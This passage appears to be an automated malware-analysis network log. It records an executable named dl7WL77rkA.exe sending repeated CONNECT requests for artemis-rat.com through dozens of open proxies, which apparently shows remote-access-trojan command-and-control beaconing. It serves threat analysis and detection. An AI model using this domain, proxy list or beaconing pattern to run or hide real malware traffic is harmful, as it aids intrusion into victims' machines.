Mar 11, 2024 03:30:46.468436003 CET	442	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 02:30:46 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 281 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1780	192.168.2.5	54774	74.118.80.244	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.992944956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.905149937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1781	192.168.2.5	54862	208.109.14.49	42072	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.017537117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.811192036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905174017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.014712095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1782	192.168.2.5	54891	8.219.228.100	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.021415949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1783	192.168.2.5	54260	47.229.171.150	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.022675037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1784	192.168.2.5	54881	222.223.103.232	7302	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.022723913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.368196011 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1785	192.168.2.5	54829	45.11.95.165	5028	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.023823023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1786	192.168.2.5	54894	186.124.164.213	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.023823977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1787	192.168.2.5	54905	54.37.196.189	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.024517059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1788	192.168.2.5	54895	194.247.173.17	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.024518013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1789	192.168.2.5	54911	35.199.90.225	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.024847031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.523778915 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1790	192.168.2.5	54901	43.133.74.172	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.024907112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1791	192.168.2.5	54994	172.67.181.126	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.025244951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.179805040 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1792	192.168.2.5	54896	212.31.100.138	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.025247097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1793	192.168.2.5	50813	82.210.56.251	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.025541067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.207321882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.389517069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.405179024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1794	192.168.2.5	55008	172.67.36.21	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.025598049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.182279110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1795	192.168.2.5	50783	3.21.101.158	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.027005911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.245055914 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1796	192.168.2.5	54135	51.75.126.150	34144	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.084163904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.207549095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.389517069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.405179977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1797	192.168.2.5	54910	31.170.22.127	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.084636927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1798	192.168.2.5	55018	31.43.179.214	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.087480068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.243122101 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1799	192.168.2.5	54902	45.11.95.165	5047	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.088175058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1800	192.168.2.5	54969	196.20.125.145	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.091784000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1801	192.168.2.5	55023	203.24.108.179	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.092176914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.249161959 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1802	192.168.2.5	54934	123.116.119.175	81	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.092731953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1803	192.168.2.5	54957	167.172.86.46	10471	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.092735052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1804	192.168.2.5	54980	154.205.152.96	9080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.093962908 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:46.701858997 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:47.405296087 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:48.702081919 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:51.202070951 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:53.701970100 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:56.202130079 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:31:01.202109098 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1805	192.168.2.5	54945	125.94.219.96	9091	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.094372988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.431626081 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1806	192.168.2.5	50785	187.50.29.242	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.094700098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.443809986 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1807	192.168.2.5	54897	93.126.56.30	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.095675945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1808	192.168.2.5	54975	79.110.202.131	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.095897913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1809	192.168.2.5	54947	51.161.131.84	19987	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.096323013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.905139923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
